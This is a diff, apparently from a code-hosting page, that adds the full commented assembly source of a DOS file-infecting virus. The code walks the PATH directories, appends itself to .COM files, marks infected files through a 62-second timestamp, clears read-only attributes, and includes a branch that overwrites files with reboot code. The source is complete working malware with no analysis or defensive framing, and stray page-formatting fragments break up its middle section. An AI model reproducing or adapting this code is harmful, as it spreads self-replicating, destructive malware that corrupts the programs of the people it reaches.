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@@ -0,0 +1,636 @@
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MOV_CX MACRO X
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DB 0B9H
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DW X
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ENDM
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG $+0100H
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;*****************************************************************************
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;Start out with a JMP around the remains of the original .COM file, into the
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;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
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;The rest of the file (first 3 bytes) are stored in the virus data area.
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;*****************************************************************************
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VCODE: JMP virus
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;This was the rest of the original .COM file. Tiny and simple, this time
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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;************************************************************
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; The actual virus starts here
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;************************************************************
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat ;This is where the virus data starts.
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; The 2nd and 3rd bytes get modified.
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CLD ;Pointers will be auto INcremented
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MOV SI,DX ;Access data as offset from SI
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ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
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MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
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MOV CX,3
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REPZ MOVSB ;Restore original first 3 bytes of .COM
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MOV SI,DX ;Keep SI pointing to the data area
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;*************************************************************
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; Check the DOS version
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;*************************************************************
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MOV AH,30H
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INT 21H
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CMP AL,0 ;0 means it's version 1.X
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JNZ dos_ok ;For version 2.0 or greater
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JMP quit ;Don't try to infect version 1.X
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;*************************************************************
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; Here if the DOS version is high enough for this to work
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;*************************************************************
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dos_ok: PUSH ES
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;*************************************************************
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; Get DTA address into ES:BX
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;*************************************************************
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MOV AH,2FH
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INT 21H
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;*************************************************************
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; Save the DTA address
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;*************************************************************
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES ;Save the DTA address
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POP ES
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;*************************************************************
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; Set DTA to point inside the virus data area
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;*************************************************************
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MOV DX,dta ;Offset of new DTA in virus data area
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; NOP ;MASM will add this NOP here
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ADD DX,SI ;Compute DTA address
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MOV AH,1AH
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INT 21H ;Set new DTA to inside our own code
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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MOV DI,0 ;ES:DI points to environment
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;************************************************************
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; Find the "PATH=" string in the environment
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;************************************************************
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find_path:
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POP SI
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PUSH SI ;Get SI back
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ADD SI,env_str ;Point to "PATH=" string in data area
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LODSB
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MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
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REPNZ SCASB ;Search for first character
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MOV CX,4
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;************************************************************
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; Loop to check for the next four characters
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;************************************************************
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check_next_4:
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LODSB
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SCASB
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JNZ find_path ;If not all there, abort & start over
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LOOP check_next_4 ;Loop to check the next character
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POP SI
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POP ES
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MOV [SI+path_ad],DI ;Save the address of the PATH
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MOV DI,SI
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ADD DI,wrk_spc ;File name workspace
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MOV BX,SI ;Save a copy of SI
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ADD SI,wrk_spc ;Point SI to workspace
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MOV DI,SI ;Point DI to workspace
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JMP SHORT slash_ok
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;**********************************************************
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; Look in the PATH for more subdirectories, if any
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;**********************************************************
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set_subdir:
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CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
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JNZ found_subdir ;If not, there are more subdirectories
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JMP all_done ;Else, we're all done
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;**********************************************************
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; Here if there are more subdirectories in the path
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;**********************************************************
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH ;DS points to environment segment
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MOV DI,SI
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MOV SI,ES:[DI+path_ad] ;SI = PATH address
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ADD DI,wrk_spc ;DI points to file name workspace
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;***********************************************************
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; Move subdirectory name into file name workspace
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;***********************************************************
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move_subdir:
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LODSB ;Get character
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CMP AL,';' ;Is it a ';' delimiter?
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JZ moved_one ;Yes, found another subdirectory
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CMP AL,0 ;End of PATH string?
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JZ moved_last_one ;Yes
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STOSB ;Save PATH marker into [DI]
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JMP SHORT move_subdir
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;******************************************************************
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; Mark the fact that we're looking through the final subdirectory
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;******************************************************************
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moved_last_one:
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MOV SI,0
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;******************************************************************
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; Here after we've moved a subdirectory
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;******************************************************************
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moved_one:
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POP BX ;Pointer to virus data area
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POP DS ;Restore DS
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MOV [BX+path_ad],SI ;Address of next subdirectory
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NOP
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;******************************************************************
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; Make sure subdirectory ends in a "\"
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;******************************************************************
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CMP CH,'\' ;Ends with "\"?
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JZ slash_ok ;If yes
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MOV AL,'\' ;Add one, if not
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STOSB
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;******************************************************************
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; Here after we know there's a backslash at end of subdir
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;******************************************************************
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slash_ok:
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MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
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MOV SI,BX ;Restore SI
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ADD SI,f_spec ;Point to "*.COM"
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MOV CX,6
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REPZ MOVSB ;Move "*.COM",0 to workspace
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MOV SI,BX
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;*******************************************************************
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; Find first string matching *.COM
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;*******************************************************************
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MOV AH,4EH
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MOV DX,wrk_spc
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; NOP ;MASM will add this NOP here
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ADD DX,SI ;DX points to "*.COM" in workspace
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MOV CX,3 ;Attributes of Read Only or Hidden OK
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INT 21H
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JMP SHORT find_first
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;*******************************************************************
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; Find next ASCIIZ string matching *.COM
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;*******************************************************************
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find_next:
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MOV AH,4FH
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INT 21H
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirectory
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;*******************************************************************
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; Here when we find a file
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;*******************************************************************
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1FH ;Mask to remove all but seconds
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CMP AL,1FH ;62 seconds -> already infected
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JZ find_next ;If so, go find another file
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
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JB find_next ;Then go find another one
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MOV DI,[SI+nam_ptr] ;DI points to file name
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PUSH SI ;Save SI
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ADD SI,dta_nam ;Point SI to file name
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;********************************************************************
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; Move the name to the end of the path
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;********************************************************************
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars ;Move characters until we find a 00
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;********************************************************************
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; Get File Attributes
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;********************************************************************
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POP SI
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MOV AX,OFFSET 4300H
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MOV DX,wrk_spc ;Point to \path\name in workspace
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; NOP ;MASM will add this NOP here
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ADD DX,SI
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INT 21H
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MOV [SI+old_att],CX ;Save the old attributes
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;********************************************************************
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; Rewrite the attributes to allow writing to the file
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;********************************************************************
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MOV AX,OFFSET 4301H ;Set attributes
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AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
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MOV DX,wrk_spc ;Offset of \path\name in workspace
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; NOP ;MASM will add this NOP here
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ADD DX,SI ;Point to \path\name
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INT 21H
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;********************************************************************
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; Open Read/Write channel to the file
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;********************************************************************
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MOV AX,OFFSET 3D02H ;Read/Write
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MOV DX,wrk_spc ;Offset to \path\name in workspace
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; NOP ;MASM will add this NOP here
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ADD DX,SI ;Point to \path\name
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INT 21H
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JNB opened_ok ;If file was opened OK
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JMP fix_attr ;If it failed, restore the attributes
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;*******************************************************************
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; Get the file date & time
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;*******************************************************************
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opened_ok:
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MOV BX,AX
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MOV AX,OFFSET 5700H
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INT 21H
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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;*******************************************************************
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; Get current system time
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;*******************************************************************
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MOV AH,2CH
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INT 21H
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AND DH,7 ;Last 3 bits 0? (once in eight)
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JNZ seven_in_eight
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;*******************************************************************
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; The special "one in eight" infection. If the above line were in
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; its original form, this code would be run 1/8 of the time, and
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; rather than appending a copy of this virus to the .COM file, the
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; file would get 5 bytes of code that reboot the system when the
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; .COM file is run.
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;*******************************************************************
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MOV AH,40H ;Write to file
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MOV CX,5 ;Five bytes
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MOV DX,SI
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ADD DX,reboot ;Offset of reboot code in data area
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INT 21H
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JMP SHORT fix_time_stamp
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NOP
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||||
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;******************************************************************
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; Here's where we infect a .COM file with this virus
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;******************************************************************
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seven_in_eight:
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MOV AH,3FH
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MOV CX,3
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MOV DX,first_3
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; NOP ;MASM will add this NOP here
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ADD DX,SI
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INT 21H ;Save first 3 bytes into the data area
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JB fix_time_stamp ;Quit, if read failed
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CMP AX,3 ;Were we able to read all 3 bytes?
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JNZ fix_time_stamp ;Quit, if not
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||||
|
||||
|
||||
;******************************************************************
|
||||
; Move file pointer to end of file
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;******************************************************************
|
||||
|
||||
MOV AX,OFFSET 4202H
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||||
MOV CX,0
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MOV DX,0
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INT 21H
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JB fix_time_stamp ;Quit, if it didn't work
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MOV CX,AX ;DX:AX (long int) = file size
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||||
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
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||||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||||
|
||||
ADD CX,OFFSET c_len_y
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||||
MOV DI,SI ;Point DI to virus data area
|
||||
SUB DI,OFFSET c_len_x
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||||
;Point DI to reference vir_dat, at start of pgm
|
||||
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||||
|
||||
|
||||
;*******************************************************************
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||||
; Write virus code to file
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
|
||||
MOV_CX virlen ;Length of virus, in bytes
|
||||
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||||
; address of virus code in memory
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
CMP AX,OFFSET virlen ;All bytes written?
|
||||
JNZ fix_time_stamp ;Jump if error
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Move file pointer to beginning of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Write the 3 byte JMP at the start of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI ;Virus data area
|
||||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old file date & time, with seconds modified to 62
|
||||
;**********************************************************************
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date] ;Old file date
|
||||
MOV CX,[SI+old_tim] ;Old file time
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Close File
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore Old File Attributes
|
||||
;**********************************************************************
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att] ;Old Attributes
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP
|
||||
ADD DX,SI ;DX points to \path\name in workspace
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Here when it's time to close it up & end
|
||||
;**********************************************************************
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old DTA
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
|
||||
POP DS
|
||||
|
||||
|
||||
;*************************************************************************
|
||||
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
||||
; in since the address in a real JMP 100 is an offset, and the offset
|
||||
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
||||
; stack, we can RET to address 0100H just as though we JMPed there.
|
||||
;**********************************************************************
|
||||
|
||||
quit:
|
||||
POP CX
|
||||
XOR AX,AX
|
||||
XOR BX,BX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
|
||||
RET 0FFFFH
|
||||
|
||||
;************************************************************************
|
||||
;The virus data starts here. It's accessed off the SI register, per the
|
||||
; comments as shown
|
||||
;************************************************************************
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
|
||||
;Use this with (SI + old_dta)
|
||||
olddta_ DW 0 ;Old DTA offset
|
||||
|
||||
;Use this with (SI + old_dts)
|
||||
olddts_ DW 0 ;Old DTA segment
|
||||
|
||||
;Use this with (SI + old_tim)
|
||||
oldtim_ DW 0 ;Old Time
|
||||
|
||||
;Use this with (SI + ol_date)
|
||||
oldate_ DW 0 ;Old date
|
||||
|
||||
;Use this with (SI + old_att)
|
||||
oldatt_ DW 0 ;Old file attributes
|
||||
|
||||
|
||||
|
||||
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
|
||||
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
|
||||
|
||||
|
||||
;Here's where the new JMP instruction is worked out
|
||||
|
||||
;Use this with (SI + jmp_op)
|
||||
jmpop_ DB 0E9H ;Start of JMP instruction
|
||||
|
||||
;Use this with (SI + jmp_dsp)
|
||||
jmpdsp_ DW 0 ;The displacement part
|
||||
|
||||
|
||||
|
||||
;This is the type of file we're looking to infect. (SI + f_spec)
|
||||
|
||||
fspec_ DB '*.COM',0
|
||||
|
||||
;Use this with (SI + path_ad)
|
||||
pathad_ DW 0 ;Path address
|
||||
|
||||
;Use this with (SI + nam_ptr)
|
||||
namptr_ DW 0 ;Pointer to start of file name
|
||||
|
||||
;Use this with (SI + env_str)
|
||||
envstr_ DB 'PATH=' ;Find this in the environment
|
||||
|
||||
;File name workspace (SI + wrk_spc)
|
||||
wrkspc_ DB 40h dup (0)
|
||||
|
||||
;Use this with (SI + dta)
|
||||
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||||
|
||||
;Use this with (SI + dta_tim)
|
||||
dtatim_ DW 0,0 ;Time stamp in DTA
|
||||
|
||||
;Use this with (SI + dta_len)
|
||||
dtalen_ DW 0,0 ;File length in the DTA
|
||||
|
||||
;Use this with (SI + dta_nam)
|
||||
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||||
|
||||
;Use this with (SI + reboot)
|
||||
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
|
||||
|
||||
|
||||
lst_byt EQU $ ;All lines that assemble into code are
|
||||
; above this one
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
;The virus needs to know a few details about its own size and the size of its
|
||||
; code portion. Let the assembler figure out these sizes automatically.
|
||||
;*****************************************************************************
|
||||
|
||||
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||||
codelen = vir_dat - v_start ;Length of virus code, only
|
||||
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||||
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
;Because this code is being appended to the end of an executable file, the
|
||||
; exact address of its variables cannot be known. All are accessed as offsets
|
||||
; from SI, which is represented as vir_dat in the below declarations.
|
||||
;*****************************************************************************
|
||||
|
||||
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||||
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||||
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||||
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||||
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||||
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||||
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||||
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||||
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||||
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||||
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||||
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||||
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||||
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||||
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||||
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||||
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||||
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
|
||||
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
||||
|
||||
Reference in New Issue
Block a user